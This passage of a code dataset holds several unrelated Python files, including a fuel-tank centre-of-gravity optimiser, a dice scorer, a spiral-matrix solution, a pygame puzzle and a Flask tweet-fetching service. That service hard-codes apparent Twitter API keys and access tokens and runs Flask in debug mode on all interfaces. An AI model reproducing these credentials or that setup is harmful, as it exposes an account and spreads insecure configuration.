open(cfg_file) as f:\n dotfiles = f.readlines()\n vprint('Read setup.cfg', verbose)\n except:\n raise EnvironmentError('could not read %s' % cfg_file)\n\n dotfiles = [d.strip() for d in dotfiles]\n else:\n dotfiles = [f for f in os.listdir(dotarchive)]\n\n vprint('Dotfiles are: %s' % ' '.join(dotfiles), verbose)\n\n return dotfiles\n\n\ndef main():\n \"\"\"\n Parse arguments.\n\n Call get_dot_files_list()\n\n Call make_symlinks()\n \"\"\"\n # import os\n # dothome = os.path.expanduser('~')\n # dotarchive = os.path.join(dothome, '.dotarchive')\n\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"dothome\",\n help=\"absolute path to the dotfiles\")\n parser.add_argument(\"dotarchive\",\n help=\"absolute path to the dotfile archive\")\n parser.add_argument(\"--verbose\", default=False,\n help=\"verbose mode\", action=\"store_true\")\n parser.add_argument(\"--force\", default=False,\n help=\"force relinking\", action=\"store_true\")\n args = parser.parse_args()\n\n dotfiles = get_dotfiles_list(args.dotarchive, verbose=args.verbose)\n\n make_symlinks(args.dothome, args.dotarchive, dotfiles,\n verbose=args.verbose, force=args.force)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"donut.py","file_name":"donut.py","file_ext":"py","file_size_in_byte":4395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"140330007","text":"import itertools\nimport numpy as np\nfrom artemis.plotting.db_plotting import dbplot, hold_dbplots, use_dbplot_axis\nimport matplotlib.pyplot as plt\nimport copy\n\n\n# Artemis needs:\n# pip install -e git+http://github.com/QUVA-Lab/artemis.git#egg=artemis\n\n# To get, do:\n# git clone https://github.com/QUVA-Lab/artemis.git\n# cd artemis\n# pip install -e .\n# git checkout peter\n\nclass ProbModel:\n \"\"\"\n A noisy sinusoid model.\n \"\"\"\n\n def __init__(self, seed, dt=0.1, measurement_noise=0.05, x_noise=0.1, v_noise=0.08):\n # system parameters\n np.random.seed(seed)\n self.seed = seed\n self.freq = np.random.uniform(1.0, 4.0)\n self.x_noise = x_noise\n self.v_noise = v_noise\n self.dt = dt\n self.measurement_noise = measurement_noise\n direction = np.random.choice([-1, 1])\n self.x, self.v = np.random.uniform(-1.0, 1.0), direction * np.random.uniform(0.5, 2.0)\n self.initial_energy = self.energy(self.x, self.v)\n\n def energy(self, x, v):\n return np.sqrt(1 / (self.freq ** 2) * v ** 2 + x ** 2)\n\n def state(self):\n return [self.x, self.v]\n\n def step(self, rng: np.random.RandomState):\n self.v = self.v - self.dt * self.freq ** 2 * self.x + self.v_noise * rng.randn()\n self.x = self.x + self.v * self.dt + self.x_noise * rng.randn()\n current_energy = self.energy(self.x, self.v)\n self.x = self.x * self.initial_energy / current_energy\n self.v = self.v * self.initial_energy / current_energy\n m = self.x + self.measurement_noise * rng.randn() + 2\n return m\n\n def simulate(self, n_steps, rng):\n simulation = [self.step(rng) for _ in range(n_steps)]\n return simulation\n\n def clone(self) -> 'ProbModel':\n \"\"\"Return a clone of this model with the same state\"\"\"\n return copy.deepcopy(self)\n\n\ndef value_at_risk(samples, alpha=5):\n samples.sort()\n var = np.percentile(samples, alpha)\n return var\n\n\ndef expected_shortfall(current_price, samples, alpha=5):\n '''\n expected left tail risk\n '''\n if current_price == 0:\n current_price = 1e-10\n returns = (samples / current_price) - 1\n var = value_at_risk(returns, alpha=alpha)\n risky_samples = [s for s in returns if s < var]\n return np.mean(risky_samples)\n\n\ndef mark_trade(trade_time, trade_price, trade_type, color='k', label_prefix=''):\n plt.plot(trade_time, trade_price, marker='x' if trade_type == 'buy' else 'o', markersize=10, color=(0, 0, 0, 0),\n markeredgecolor=color, markeredgewidth=3, label=label_prefix + trade_type)\n\n\ndef get_next_or_none(iterable):\n try:\n return next(iterable)\n except StopIteration: # there is no tsell\n return None\n\n\ndef transaction_chooser(futures_stream, transaction_cost, riskiness=0.1, initial_have_state=False):\n have_state = initial_have_state\n\n for t, futures in enumerate(futures_stream):\n expected_future = np.mean(futures, axis=0) # (samples, time)\n x0 = expected_future[0]\n\n with hold_dbplots():\n dbplot(x0, 'x0')\n dbplot(futures.T, 'futures', plot_type='line')\n\n if not have_state:\n # check when and if there is a profitable sell moment\n t_sell = get_next_or_none(tau for tau, m in enumerate(expected_future) if m > x0 + transaction_cost\n and riskiness > -1 * expected_shortfall(x0, futures[:, tau]))\n\n if t_sell is not None:\n # ES = expected_shortfall(x0, futures[:, t_sell])\n # check if until that sell moment arrives, there is a better buy moment\n if (t_sell == 1 or expected_future[1:t_sell].min() > x0): # and riskiness > (-1*ES):\n print('BUY BUY BUY')\n use_dbplot_axis('x0')\n mark_trade(trade_time=t, trade_price=x0, trade_type='buy')\n have_state = True\n\n\n else:\n # check if there is a moment when buying a new share is cheaper than keeping this one\n t_buy = get_next_or_none(tau for tau, m in enumerate(expected_future) if m < x0 - transaction_cost)\n # check if until that moment arrives, there is a better sell moment\n if t_buy is not None:\n if t_buy == 1 or not expected_future[1:t_buy].max() > x0:\n print('SELL SELL SELL')\n use_dbplot_axis('x0')\n mark_trade(trade_time=t, trade_price=x0, trade_type='sell')\n have_state = False\n\n\ndef make_futures_stream(model, n_samples=10, n_steps=100):\n for _ in itertools.count(0):\n\n futures = []\n context = model.simulate(n_steps=1, rng=np.random.RandomState(0))\n for i in range(1, n_samples+1):\n this_model = model.clone()\n future = this_model.simulate(n_steps=n_steps, rng=np.random.RandomState(i))\n future.insert(0, context[-1])\n futures.append(future)\n yield np.array(futures)\n\n\nif __name__ == '__main__':\n model = ProbModel(111, measurement_noise=0.05, x_noise = 0.1, v_noise = 0.08)\n\n transaction_chooser(\n futures_stream=make_futures_stream(model),\n transaction_cost=0.2,\n riskiness=0.5)\n","sub_path":"thesis_code/harmonic_trader.py","file_name":"harmonic_trader.py","file_ext":"py","file_size_in_byte":5278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"42611925","text":"import os\nimport glob\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom pdb import set_trace\n\nsns.set_palette('pastel')\nresult = lambda file: os.path.join(os.getcwd(), 'results', file)\n\ndf = pd.read_csv(result('part2.csv'), dialect='unix')\n# step = 250\n# df['step'] = df['step'].apply(lambda x: x - x % step)\nsample_every = 100\ndf['step'] = df['step'].apply(lambda x: sample_every * x)\n\n# accuracy over time, T=30\ndf_ = df[(df.seq_length == 30)]\nmetric = 'accuracy'\nax = sns.lineplot(\n x='step',\n y=metric,\n # hue='input_length',\n data=df_\n)\nfig = ax.figure\nfig.savefig(result(f'generator-{metric}.png'))\nplt.close(fig)\n\npd.set_option('display.max_rows', 500)\nn = 5\nfor book in set(df.txt_file):\n print('\\n\\n', 'book', book, '\\n')\n df_ = df[(df.txt_file == book)].sort_values(by=['step'])\n interval = (len(df_)-1)/(n-1)\n for sampler in ['None', '0.5', '1.0', '2.0']:\n print('\\n', 'Greedy sampling' if sampler == 'None' else f'Temperature: {sampler}', '\\n')\n for i in range(n):\n idx = int(i * interval)\n row = df_.iloc[idx]\n step = format(row.step, '04')\n sentence = row[sampler]\n sentence_ = '\\\\n'.join(sentence.splitlines())\n print(f'{step}: {sentence_}')\n","sub_path":"assignment_2/part2/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"31728802","text":"\"\"\"This module contains code to locate the Centre of Gravity given any fuel condition input\"\"\"\n\nimport json\nfrom scipy.optimize import minimize\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n# import master data\nwith open('../data/master_data.json') as f:\n master_data = json.load(f)\n\n\ndef calc_cg(mass, xloc):\n \"\"\"Function to find the centre of mass using the sum of the moments\"\"\"\n return sum([m*x for m, x in zip(mass, xloc)])/sum(mass)\n\n\ndef fill_tanks(master_data, fuel_required):\n \"\"\"Function to find the optimum tank filling to maintain the target CG\"\"\"\n\n target_cg = master_data['mass_and_cg']['cofg']['target']\n no_fuel_cg = master_data['mass_and_cg']['cofg']['no_fuel']\n max_allowable_cg = master_data['mass_and_cg']['cofg']['max_target']\n min_allowable_cg = master_data['mass_and_cg']['cofg']['min_target']\n\n # kg/m3 - density of fuel\n fuel_density = master_data['constants']['fuel_density']\n\n # m3 // m - tank parameters\n volumes = master_data['mass_and_cg']['tanks']['volumes']\n x_loc = master_data['mass_and_cg']['tanks']['x_loc']\n capacities = list(map(lambda x: x*fuel_density, volumes))\n\n # kg - max design take-off mass\n no_fuel_mass = master_data['mass_and_cg']['mass']['no_fuel']\n\n print()\n print('Fuel Required (kg):', fuel_required)\n print('Available Tank Capacity (kg):', sum(capacities))\n print('No Fuel CG (m):', no_fuel_cg)\n print('Target CG (m):', target_cg)\n\n # take an initial guess at fill\n fill = [0.5]*len(volumes)\n\n # bounds\n bnds = [[0, 1]] * len(volumes)\n\n # constraints\n def con(fill):\n \"\"\"Function which constrains the design bounds\"\"\"\n filled = [fil * cap for fil, cap in zip(fill, capacities)]\n return sum(filled) - fuel_required\n\n cons = ({'type': 'eq', 'fun': con})\n\n # minimise\n res = minimize(fun=tank_fill, x0=fill, bounds=bnds, constraints=cons)\n fill = res['x']\n filled = [fil * cap for fil, cap in zip(fill, capacities)]\n cg = calc_cg([no_fuel_mass] + filled, [no_fuel_cg] + x_loc)\n print('Fuelled CG (m):', cg)\n print('Tank Usage:', fill)\n print('Tank Levels (kg):', filled)\n print('Total Fuel (kg):', sum(filled))\n\n return cg, filled\n\n\ndef tank_fill(fill):\n \"\"\"Function to be optimised\"\"\"\n\n # import master data\n with open('../data/master_data.json') as f:\n master_data = json.load(f)\n\n # kg/m3 - density of fuel\n fuel_density = master_data['constants']['fuel_density']\n\n # m3 // m - tank parameters\n volumes = master_data['mass_and_cg']['tanks']['volumes']\n x_loc = master_data['mass_and_cg']['tanks']['x_loc']\n capacities = list(map(lambda x: x * fuel_density, volumes))\n\n # m - cg locations\n no_fuel_cg = master_data['mass_and_cg']['cofg']['no_fuel']\n target_cg = master_data['mass_and_cg']['cofg']['target']\n\n # kg - max design take-off mass\n no_fuel_mass = master_data['mass_and_cg']['mass']['no_fuel']\n\n # initial fill of the tanks\n filled = [fil * cap for fil, cap in zip(fill, capacities)]\n\n cg = calc_cg([no_fuel_mass] + filled, [no_fuel_cg] + x_loc)\n\n return abs(cg - target_cg)\n \ndef plot_fuel(filled, cg, title):\n \"\"\"Figure to plot fuel tank things\"\"\"\n \n # import master data\n with open('../data/master_data.json') as f:\n master_data = json.load(f)\n \n # kg/m3 - density of fuel\n fuel_density = master_data['constants']['fuel_density']\n \n # m3 // m - tank parameters\n volumes = master_data['mass_and_cg']['tanks']['volumes']\n x_loc = master_data['mass_and_cg']['tanks']['x_loc']\n capacities = list(map(lambda x: x*fuel_density, volumes))\n \n target_cg = master_data['mass_and_cg']['cofg']['target']\n \n fig = plt.figure()\n ax = fig.add_subplot(111)\n \n width = 1 # the width of the bars\n \n # CAPACITY\n ax.bar(x_loc, capacities, width, color='g', label=\"Capacities\")\n # FUELED\n ax.bar(x_loc, filled, width, color='r', label=\"Fill Amount\")\n \n ax.set_xlabel('X Location (m)')\n ax.set_ylabel('Mass (kg)')\n \n ax.set_title(title)\n \n ax.plot(cg, 2000, 'mo', markersize=10, label=\"CofG\")\n ax.plot(target_cg, 4000, 'co', markersize=10, label=\"Target CofG\")\n ax.legend()\n \n \n\n# Units = kg\nmtow = master_data['design_mass']['MTOW']\nmax_fuel_required = master_data['design_mass']['fuel_mass']\nmin_fuel_required = max_fuel_required - (mtow - master_data['design_profile']['landing']['post_mass'])\nother_fuel_requirements = master_data['mass_and_cg']['tanks']['other_requirements']\n\nprint()\nprint()\nprint('MAX FUEL')\nmax_cg, max_fuel = fill_tanks(master_data, max_fuel_required)\nprint()\nprint()\nprint('MIN FUEL')\nmin_cg, min_fuel = fill_tanks(master_data, min_fuel_required)\n\nplot_fuel(max_fuel, max_cg, 'Tank fill at Maximum Fuel')\n\n","sub_path":"performance/mass_estimation/fuel.py","file_name":"fuel.py","file_ext":"py","file_size_in_byte":4808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"229924971","text":"import os\nimport sys\nimport tensorflow as tf\nfrom tensorflow.python import debug as tf_debug\n\n\na=tf.get_variable('a',initializer=[1,2,3,4])\nb=tf.get_variable('b',initializer=[1,2,3,4])\n#a=tf.Variable(0,shape=[2,2])\n#b=tf.Variable(0,shape=[2,2])\nc=tf.multiply(a,b)\nloss=tf.multiply(a,b,name='loss')\nwith tf.Session() as sess:\n sess = tf_debug.LocalCLIDebugWrapperSession(sess)\n sess.add_tensor_filter(\"has_inf_or_nan\", tf_debug.has_inf_or_nan)\n sess.run(tf.global_variables_initializer())\n res_c=sess.run([loss])\n print(res_c)\n\n#total=0\n#cur_data,cur_label=loadDataFile('train.h5')\n#print cur_data.shape\n#print cur_label.shape\n#\n#cur_data,cur_label=loadDataFile('/home/scw4750/github/3D/pointnet/data/modelnet40_ply_hdf5_2048/ply_data_test0.h5')\n#print cur_data.shape\n#print cur_label.shape\n\n#print(cur_data.shape,cur_label.shape)\n#for i in range(5):\n# name='../data/modelnet40_ply_hdf5_2048/ply_data_train'+str(i)+'.h5'\n# current_data, current_label = loadDataFile(name) \n# print(current_data.shape)\n# total=total+current_data.shape[0]\n#print(total)\n#with open('/home/scw4750/github/pointnet/data/modelnet40_ply_hdf5_2048/shape_names.txt','rt') as f:\n# label_name=f.readlines()\n# label_name=[ label[0:len(label)-1] for label in label_name]\n#for i in range(current_data.shape[0]):\n# with open('ply/'+str(i)+'-'+label_name[current_label[i][0]]+'.txt','wt') as f:\n# f.writelines([str(number)+' ' for number in current_data[i].flatten(order='F')])\nprint('success')\n","sub_path":"hujun/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"554343040","text":"class Zonk_calculator:\n\tdef set_of_three_or_more(self,dice): # функция проверяет комбинации: три одинаковых, четвертая/пятая/шестая кость\n\t\ttemp_sum = 0\n\t\tpoints = { # хранятся очки для комбинаций\n\t\t\t1: 1000,\n\t\t\t2: 200,\n\t\t\t3: 300,\n\t\t\t4: 400,\n\t\t\t5: 500,\n\t\t\t6: 600\n\t\t}\n\t\tfor point, score in points.items():\n\t\t\tif dice.count(point) >= 3:\n\t\t\t\tmultiplier = dice.count(point) - 2\n\t\t\t\ttemp_sum += score * multiplier\n\t\t\t\tif point == 1 or point == 5:\n\t\t\t\t\tglobal run_ones_fives\n\t\t\t\t\trun_ones_fives = False\n\t\treturn temp_sum\n\n\n\tdef ones_and_fives(self,dice, dice_sum):\n\t\tfor element in dice:\n\t\t\tif element == 1:\n\t\t\t\tdice_sum = dice_sum + 100\n\t\t\tif element == 5:\n\t\t\t\tdice_sum = dice_sum + 50\n\t\treturn dice_sum\n\n\n\tdef all_different(self,dice):\n\t\tif dice == [1, 2, 3, 4, 5, 6]:\n\t\t\treturn True\n\n\n\tdef three_couple(self, dice):\n\t\tcount = 0\n\t\tfor i in range(1, 7):\n\t\t\tif dice.count(i) == 2:\n\t\t\t\tcount += 1\n\t\tif count == 3:\n\t\t\treturn True\n\n\n\tdef calc_zonk_combo(self,dice):\n\t\tglobal run_ones_fives # переменная проверяет были ли пары из 3х\n\t\trun_ones_fives = True\n\t\tdice.sort()\n\t\tdice_sum = 0\n\t\tif self.all_different(dice):\n\t\t\treturn 1500\n\t\tif self.three_couple(dice):\n\t\t\treturn 750\n\t\tsum_of_set_of_three = self.set_of_three_or_more(dice)\n\t\tdice_sum += sum_of_set_of_three\n\t\tif run_ones_fives:\n\t\t\tdice_sum =self.ones_and_fives(dice, dice_sum)\n\t\treturn dice_sum\n\n\ncalculator = Zonk_calculator()\n\n\n","sub_path":"lab1/zonk_points.py","file_name":"zonk_points.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"26544047","text":"class Solution:\n def spiralOrder(self, matrix: 'List[List[int]]') -> 'List[int]':\n ans = []\n\n if len(matrix) == 0 or len(matrix[0]) == 0:\n return ans\n m, n = len(matrix), len(matrix[0])\n\n si, sj = 0, 0\n while si < m and sj < n:\n # left -> right\n for j in range(sj, n):\n ans.append(matrix[si][j])\n\n # up -> down\n for i in range(si + 1, m - 1):\n ans.append(matrix[i][n - 1])\n\n # right -> left\n if si != m - 1:\n for j in reversed(range(sj, n)):\n ans.append(matrix[m - 1][j])\n\n # down -> up\n if sj != n - 1:\n for i in reversed(range(si + 1, m - 1)):\n ans.append(matrix[i][sj])\n\n m, n = m - 1, n - 1\n si, sj = si + 1, sj + 1\n\n return ans\n\n\ndef test_solution():\n matrix = [\n [1, 2, 3],\n [4, 5, 6],\n [7, 8, 9]\n ]\n ans = Solution().spiralOrder(matrix)\n assert ans == [1, 2, 3, 6, 9, 8, 7, 4, 5]\n\n matrix = [\n [10, 11, 12, 13],\n [14, 15, 16, 17],\n [18, 19, 20, 21],\n [23, 24, 25, 26]\n ]\n ans = Solution().spiralOrder(matrix)\n assert ans == [\n 10, 11, 12, 13,\n 17, 21, 26, 25,\n 24, 23, 18, 14,\n 15, 16, 20, 19\n ]\n\n matrix = [\n [10, 11, 12, 13],\n [14, 15, 16, 17],\n [18, 19, 20, 21]\n ]\n ans = Solution().spiralOrder(matrix)\n assert ans == [\n 10, 11, 12, 13,\n 17, 21, 20, 19,\n 18, 14, 15, 16\n ]\n\n matrix = [\n [10, 11, 12],\n [13, 14, 15],\n [16, 17, 18],\n [19, 20, 21]\n ]\n ans = Solution().spiralOrder(matrix)\n assert ans == [\n 10, 11, 12,\n 15, 18, 21,\n 20, 19, 16,\n 13, 14, 17\n ]\n\n\nif __name__ == '__main__':\n test_solution()\n\n\n","sub_path":"array_string/2d_array/54_spiral_matrix.py","file_name":"54_spiral_matrix.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"501065606","text":"# -*- coding: utf-8 -*-\n# !/usr/bin/env python\n# ----------------------------------------------------------------------------------------------------------------\n# Archivo: sv_information.py\n# Tarea: 2 Arquitecturas Micro Servicios.\n# Autor(es): Perla Velasco & Yonathan Mtz.\n# Version: 1.3 Octubre 2017\n# Descripción:\n#\n# Este archivo define el rol de un servicio. Su función general es porporcionar en un objeto JSON\n# información detallada acerca de una pelicula o una serie en particular haciendo uso del API proporcionada\n# por IMDb ('https://www.imdb.com/').\n#\n#\n#\n# sv_information.py\n# +-----------------------+-------------------------+------------------------+\n# | Nombre del elemento | Responsabilidad | Propiedades |\n# +-----------------------+-------------------------+------------------------+\n# | | - Ofrecer un JSON que | - Utiliza el API de |\n# | Procesador de | contenga información | IMDb. |\n# | comentarios | detallada de pelí- | - Devuelve un JSON con |\n# | de IMDb | culas o series en | datos de la serie o |\n# | | particular. | pelicula en cuestión.|\n# +-----------------------+-------------------------+------------------------+\n#\n#\tEjemplo de uso: Abrir navegador e ingresar a http://localhost:8083/api/v1/information?t=matrix\n#\n\nimport os\nfrom flask import Flask, abort, render_template, request\nimport urllib, json\nimport base64\nimport tweepy\n\napp = Flask(__name__)\n\ndef ObtenerTweets(palabra=\"Twitter\"):\n #Se define las variables para el acceso al API de twitter\n consumer_key = 'QAi0ruSAFJhAKsT43YzQmQbwb'\n consumer_secret = 'gxr2jjogFQzT0VipQYBUQcpeQN2Bl6l3Y1EzKOGldgUBhQtwvY'\n access_token = '1111709163988664321-UReJucUrkQxP1OE3nUjQfQtKXLM1ox'\n access_token_secret = 'tGRB9lj8BlNIuvlOfjwtd1Sonjyj7ptjiyfanceczdA6Y'\n\n #Se autentica en twitter\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n api = tweepy.API(auth)\n\n #Se define las listas que capturan la popularidad\n tweets = []\n\n for tweet in tweepy.Cursor(api.search, palabra, lang='en').items(50):\n try:\n #Se toma el texto, se hace el analisis de sentimiento\n #y se agrega el resultado a las listas\n tweets.append(tweet.text)\n\n except tweepy.TweepError as e:\n print(e.reason)\n\n except StopIteration:\n break\n return (tweets)\n\n@app.route(\"/api/v1/information\")\ndef get_information():\n # Se lee el parámetro 't' que contiene el título de la película o serie que se va a consultar\n title = '#' + request.args.get(\"t\").replace(\" \", \"\")\n\n tweets = ObtenerTweets(title) \n # Se regresa el JSON de la respuesta\n return json.dumps(tweets), 200\n\n\nif __name__ == '__main__':\n # Se define el puerto del sistema operativo que utilizará el servicio\n port = int(os.environ.get('PORT', 8083))\n # Se habilita la opción de 'debug' para visualizar los errores\n app.debug = True\n # Se ejecuta el servicio definiendo el host '0.0.0.0' para que se pueda acceder desde cualquier IP\n app.run(host='0.0.0.0', port=port)\n","sub_path":"servicios/sv_twitter.py","file_name":"sv_twitter.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"244401065","text":"import base64\nimport os\nimport sys\nfrom io import BytesIO\nimport pygame\nimport random\nimport requests\nfrom PIL import Image\nfrom pygame.locals import *\nimport colorsys\n\nURl = 'http://47.102.118.1:8089/api/problem?stuid=031802230'\nPath = 'imgs'\npath = 'img.jpg'\n# 一些常量\nBACKGROUNDCOLOR = (255, 255, 255)\nFPS = 40\nBLUE = (0, 0, 255)\nBLACK = (0, 0, 0)\nVHNUMS = 3\nCELLNUMS = VHNUMS * VHNUMS\nMAXRANDTIME = 50\n\n\ndef get_json(url):\n \"\"\"\n :param url: 获取json数据的URL\n :return: 图片,强制交换的步数,强制交换的格子,题目编号\n \"\"\"\n html = requests.get(url) # 获取json文件\n html_json = html.json()\n img_str = html_json['img']\n step = html_json['step']\n swap = html_json['swap']\n uuid = html_json['uuid']\n img_b64decode = base64.b64decode(img_str) # base64解码\n file = open('test.jpg', 'wb')\n file.write(img_b64decode)\n file.close()\n image = BytesIO(img_b64decode)\n img = Image.open(image)\n return img, step, swap, uuid\n\n\ndef split_image(imga, row_num, col_num, save_path): # 图片的分割保存\n \"\"\"\n :param imga: 带分割的图片\n :param row_num: 分割的行数\n :param col_num: 分割的列数\n :param save_path: 图片存放文件夹\n :return: None\n \"\"\"\n w, h = imga.size # 图片大小\n if row_num <= h and col_num <= w:\n print('original image info:%sx%s,%s,%s' % (w, h, imga.format, imga.mode))\n print('开始处理图片切割,请稍候-')\n ext = 'jpg'\n num = 0\n rowheight = h // row_num\n colwidth = w // col_num\n for r in range(row_num):\n for c in range(col_num):\n box = (c * colwidth, r * rowheight, (c + 1) * colwidth, (r + 1) * rowheight)\n imga.crop(box).save(os.path.join(save_path, str(num) + '.' + ext)) # 切割完图片保存\n num = num + 1\n print('图片切割完毕,共生成%s张小图片。' % num)\n else:\n print('不合法的行列切割参数!')\n\n\ndef get_img(save_path, img):\n \"\"\"\n :param img: 带分割的图片\n :return: 空白格的初始位置\n \"\"\"\n # save_path = 'F:\\imgs'\n if not os.path.exists(save_path):\n os.mkdir(save_path)\n row = 3\n col = 3\n if row > 0 and col > 0:\n split_image(img, row, col, save_path)\n else:\n print('无效的行列切割参数!')\n\n\ndef write_get(save_path):\n for k in range(9):\n image = Image.open(save_path + '//' + str(k) + '.jpg')\n image = image.convert('RGB')\n max_score = 0.0001\n dominant_color = None\n for count, (r, g, b) in image.getcolors(image.size[0] * image.size[1]):\n\n # 转为HSV标准\n\n saturation = colorsys.rgb_to_hsv(r / 255.0, g / 255.0, b / 255.0)[1]\n\n y = min(abs(r * 2104 + g * 4130 + b * 802 + 4096 + 131072) >> 13, 235)\n\n y = (y - 16.0) / (235 - 16)\n\n score = (saturation + 0.1) * count\n\n if score > max_score:\n max_score = score\n\n dominant_color = (r, g, b)\n if dominant_color == (255, 255, 255):\n #print(k)\n return k\n\n\ndef min_imgs(paths, save_path):\n img = Image.open(paths)\n print(img.size)\n out = img.resize((300, 300))\n # save_path = \"C:/Users/Administrator/软工/s/s.jpg\"\n out.save(save_path)\n return save_path\n\n\ndef image_similarity(imag1_path, imag2_path):\n with open(imag1_path, \"rb\") as f: # 转为二进制格式\n base64_data1 = base64.b64encode(f.read()) # 使用base64进行加密\n\n with open(imag2_path, \"rb\") as f: # 转为二进制格式\n base64_data2 = base64.b64encode(f.read()) # 使用base64进行加密\n if base64_data1 == base64_data2:\n return 1\n else:\n return 0\n\n\n# 计算图片的余弦距离\n\n\ndef terminate():\n pygame.quit()\n sys.exit()\n\n\n# 随机生成游戏盘面\ndef newGameBoard():\n board = []\n for j in range(CELLNUMS):\n board.append(j)\n blackcell = CELLNUMS - 1\n board[blackcell] = -1\n for j in range(MAXRANDTIME):\n direction = random.randint(0, 3)\n if direction == 0:\n blackcell = move_A(board, blackcell)\n elif direction == 1:\n blackcell = move_D(board, blackcell)\n elif direction == 2:\n blackcell = move_S(board, blackcell)\n elif direction == 3:\n blackcell = move_W(board, blackcell)\n return board, blackcell\n\n\n# 若空白图像块不在最左边,则将空白块左边的块移动到空白块位置\ndef move_D(board, blackcell):\n if blackcell % VHNUMS == 0:\n return blackcell\n board[blackcell - 1], board[blackcell] = board[blackcell], board[blackcell - 1]\n return blackcell - 1\n\n\n# 若空白图像块不在最右���,则将空白块右边的块移动到空白块位置\ndef move_A(board, blackcell):\n if blackcell % VHNUMS == VHNUMS - 1:\n return blackcell\n board[blackcell + 1], board[blackcell] = board[blackcell], board[blackcell + 1]\n return blackcell + 1\n\n\n# 若空白图像块不在最上边,则将空白块上边的块移动到空白块位置\ndef move_W(board, blackcell):\n if blackcell < VHNUMS:\n return blackcell\n board[blackcell - VHNUMS], board[blackcell] = board[blackcell], board[blackcell - VHNUMS]\n return blackcell - VHNUMS\n\n\n# 若空白图像块不在最下边,则将空白块下边的块移动到空白块位置\ndef move_S(board, blackcell):\n if blackcell >= CELLNUMS - VHNUMS:\n return blackcell\n board[blackcell + VHNUMS], board[blackcell] = board[blackcell], board[blackcell + VHNUMS]\n return blackcell + VHNUMS\n\n\n# 是否完成\ndef isFinished(board):\n for j in range(CELLNUMS - 1):\n if board[j] != j:\n return False\n return True\n\n\n# 获取文件夹中的图片路径\ndef getFileList(dir, Filelist, ext=None):\n \"\"\"\n 获取文件夹及其子文件夹中文件列表\n 输入 dir:文件夹根目录\n 输入 ext: 扩展名\n 返回: 文件路径列表\n \"\"\"\n if os.path.isfile(dir):\n if ext is None:\n Filelist.append(dir)\n else:\n if ext in dir[-3:]:\n Filelist.append(dir)\n\n elif os.path.isdir(dir):\n for s in os.listdir(dir):\n newDir = os.path.join(dir, s)\n getFileList(newDir, Filelist, ext)\n\n return Filelist\n\n\n# 将文件夹中的图片遍历并进行操作 返回原图的路径\ndef ergodic_file(Path):\n org_img_folder = './org'\n # 检索文件\n imglist = getFileList(Path, [], 'jpg')\n print('本次执行检索到 ' + str(len(imglist)) + ' 张图像\\n')\n print(imglist)\n z = 0\n save_path = 'img'\n img = random.choice(imglist) # 每个图片都遍历一次 并开始进行对比操作\n img_temp = Image.open(img)\n get_img(save_path, img_temp)\n count_1 = 0\n stop_flag = 0\n print(img)\n return img\n\n\n # return imgpath\n # img_text文件夹中保存的九个小块就是原图分割出来的\n\n\n# img_text文件夹中保存的九个小块就是原图分割出来\n\n\ndef main():\n # 初始化\n pygame.init()\n mainClock = pygame.time.Clock()\n # 加载图片\n # img, step, swap, uuid = get_json(URl)\n #img = Image.open(path)\n # ergodic_file()\n # k = get_img(Path, img)\n #k = write_get(Path)\n #print(get_img(Path, img))\n save_path = \"s/s.jpg\"\n img = min_imgs(ergodic_file(Path), save_path)\n gameImage = pygame.image.load(img)\n space = pygame.image.load(img)\n gameRect = gameImage.get_rect()\n # 设置窗口\n screen = pygame.display.set_mode((800, 300))\n pygame.display.set_caption('拼图')\n cellWidth = int(gameRect.width / VHNUMS)\n cellHeight = int(gameRect.height / VHNUMS)\n finish = False\n # space = pygame.image.load(\"b_ (2).jpg\").convert_alpha()\n pygame.display.flip()\n gameBoard, blackCell = newGameBoard()\n text = pygame.font.Font(\"C:/Windows/Fonts/simsun.ttc\", 50)\n text_fmt = text.render(\"原图\", 1, (0, 0, 0))\n # 游戏主循环\n while True:\n for event in pygame.event.get():\n if event.type == QUIT:\n terminate()\n if finish:\n continue\n if event.type == KEYDOWN:\n if event.key == K_LEFT or event.key == ord('a'):\n blackCell = move_A(gameBoard, blackCell)\n if event.key == K_RIGHT or event.key == ord('d'):\n blackCell = move_D(gameBoard, blackCell)\n if event.key == K_UP or event.key == ord('w'):\n blackCell = move_S(gameBoard, blackCell)\n if event.key == K_DOWN or event.key == ord('s'):\n blackCell = move_W(gameBoard, blackCell)\n if event.type == MOUSEBUTTONDOWN and event.button == 1:\n x, y = pygame.mouse.get_pos()\n col = int(x / cellWidth)\n row = int(y / cellHeight)\n index = col + row * VHNUMS\n if (\n index == blackCell - 1 or index == blackCell + 1 or index == blackCell - VHNUMS or index == blackCell + VHNUMS):\n gameBoard[blackCell], gameBoard[index] = gameBoard[index], gameBoard[blackCell]\n blackCell = index\n if isFinished(gameBoard):\n gameBoard[blackCell] = CELLNUMS - 1\n finish = True\n screen.fill(BACKGROUNDCOLOR)\n for i in range(CELLNUMS):\n rowDst = int(i / VHNUMS)\n colDst = int(i % VHNUMS)\n rectDst = pygame.Rect(colDst * cellWidth, rowDst * cellHeight, cellWidth, cellHeight)\n if gameBoard[i] == -1:\n continue\n rowArea = int(gameBoard[i] / VHNUMS)\n colArea = int(gameBoard[i] % VHNUMS)\n rectArea = pygame.Rect(colArea * cellWidth, rowArea * cellHeight, cellWidth, cellHeight)\n 